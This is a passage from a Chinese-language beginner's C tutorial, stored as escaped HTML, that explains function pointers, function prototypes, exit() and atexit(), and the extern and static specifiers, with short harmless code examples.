print;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (print_ptr == print) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以,对于任意函数,都有五种调用函数的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(*print)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u0026amp;print)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法四\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(*print_ptr)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法五\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint_ptr(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为了简洁易读,一般情况下,函数名前面都不加\u003ccode\u003e*\u003c/code\u003e和\u003ccode\u003e\u0026amp;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种特性的一个应用是,如果一个函数的参数或返回值,也是一个函数,那么函数原型可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompute\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*myfunc)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e), \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例可以清晰地表明,函数\u003ccode\u003ecompute()\u003c/code\u003e的第一个参数也是一个函数。\u003c/p\u003e\u003ch3 id=\"函数原型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0%E5%8E%9F%E5%9E%8B\" class=\"headerlink\" title=\"函数原型\"\u003e\u003c/a\u003e函数原型\u003c/h3\u003e\u003cp\u003e前面说过,函数必须先声明,后使用。由于程序总是先运行\u003ccode\u003emain()\u003c/code\u003e函数,导致所有其他函数都必须在\u003ccode\u003emain()\u003c/code\u003e函数之前声明。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunc1\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunc2\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e func1();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e func2();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003emain()\u003c/code\u003e函数必须在最后声明,否则编译时会产生警告,找不到\u003ccode\u003efunc1()\u003c/code\u003e或\u003ccode\u003efunc2()\u003c/code\u003e的声明。\u003c/p\u003e\u003cp\u003e但是,\u003ccode\u003emain()\u003c/code\u003e是整个程序的入口,也是主要逻辑,放在最前面比较好。另一方面,对于函数较多的程序,保证每个函数的顺序正确,会变得很麻烦。\u003c/p\u003e\u003cp\u003eC 语言提供的解决方法是,只要在程序开头处给出函数原型,函数就可以先使用、后声明。所谓函数原型,就是提前告诉编译器,每个函数的返回类型和参数类型。其他信息都不需要,也不用包括函数体,具体的函数实现可以后面再补上。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e twice(num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e * num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003etwice()\u003c/code\u003e的实现是放在\u003ccode\u003emain()\u003c/code\u003e后面,但是代码头部先给出了函数原型,所以可以正确编译。只要提前给出函数原型,函数具体的实现放在哪里,就不重要了。\u003c/p\u003e\u003cp\u003e函数原型包括参数名也可以,虽然这样对于编译器是多余的,但是阅读代码的时候,可能有助于理解函数的意图。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003etwice\u003c/code\u003e函数的参数名\u003ccode\u003enum\u003c/code\u003e,无论是否出现在原型里面,都是可以的。\u003c/p\u003e\u003cp\u003e注意,函数原型必须以分号结尾。\u003c/p\u003e\u003cp\u003e一般来说,每个源码文件的头部,都会给出当前脚本使用的所有函数的原型。\u003c/p\u003e\u003ch3 id=\"exit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#exit\" class=\"headerlink\" title=\"exit()\"\u003e\u003c/a\u003eexit()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eexit()\u003c/code\u003e函数用来终止整个程序的运行。一旦执行到该函数,程序就会立即结束。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e里面。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eexit()\u003c/code\u003e可以向程序外部返回一个值,它的参数就是程序的返回值。一般来说,使用两个常量作为它的参数:\u003ccode\u003eEXIT_SUCCESS\u003c/code\u003e(相当于 0)表示程序运行成功,\u003ccode\u003eEXIT_FAILURE\u003c/code\u003e(相当于 1)表示程序异常中止。这两个常数也是定义在\u003ccode\u003estdlib.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 程序运行成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于 exit(0);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 程序异常中止\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于 exit(1);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003emain()\u003c/code\u003e函数里面,\u003ccode\u003eexit()\u003c/code\u003e等价于使用\u003ccode\u003ereturn\u003c/code\u003e语句。其他函数使用\u003ccode\u003eexit()\u003c/code\u003e,就是终止整个程序的运行,没有其他作用。\u003c/p\u003e\u003cp\u003eC 语言还提供了一个\u003ccode\u003eatexit()\u003c/code\u003e函数,用来登记\u003ccode\u003eexit()\u003c/code\u003e执行时额外执行的函数,用来做一些退出程序时的收尾工作。该函数的原型也是定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatexit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eatexit()\u003c/code\u003e的参数是一个函数指针。注意,它的参数函数(上例的\u003ccode\u003eprint\u003c/code\u003e)不能接受参数,也不能有返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;something wrong!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eatexit(print);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eexit()\u003c/code\u003e执行时会先自动调用\u003ccode\u003eatexit()\u003c/code\u003e注册的\u003ccode\u003eprint()\u003c/code\u003e函数,然后再终止程序。\u003c/p\u003e\u003ch3 id=\"函数说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"函数说明符\"\u003e\u003c/a\u003e函数说明符\u003c/h3\u003e\u003cp\u003eC 语言提供了一些函数说明符,让函数用法更加明确。\u003c/p\u003e\u003ch4 id=\"extern-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#extern-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"extern 说明符\"\u003e\u003c/a\u003eextern 说明符\u003c/h4\u003e\u003cp\u003e对于多文件的项目,源码文件会用到其他文件声明的函数。这时,当前文件里面,需要给出外部函数的原型,并用\u003ccode\u003eextern\u003c/code\u003e说明该函数的定义来自其他文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efoo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e arg1, \u003cspan class=\"type\"\u003echar\u003c/span\u003e arg2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a = foo(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003efoo()\u003c/code\u003e定义在其他文件,\u003ccode\u003eextern\u003c/code\u003e告诉编译器当前文件不包含该函数的定义。\u003c/p\u003e\u003cp\u003e不过,由于函数原型默认就是\u003ccode\u003eextern\u003c/code\u003e,所以这里不加\u003ccode\u003eextern\u003c/code\u003e,效果是一样的。\u003c/p\u003e\u003ch4 id=\"static-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"static 说明符\"\u003e\u003c/a\u003estatic 说明符\u003c/h4\u003e\u003cp\u003e默认情况下,每次调用函数时,函数的内部变量都会重新初始化,不会保留上一次运行的值。\u003ccode\u003estatic\u003c/code\u003e说明符可以改变这种行为。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e用于函数内部声明变量时,表示该变量只需要初始化一次,不需要在每次调用时都进行初始化。也就是说,它的值在两次调用之间保持不变。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecounter\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 只初始化一次\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, count);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan 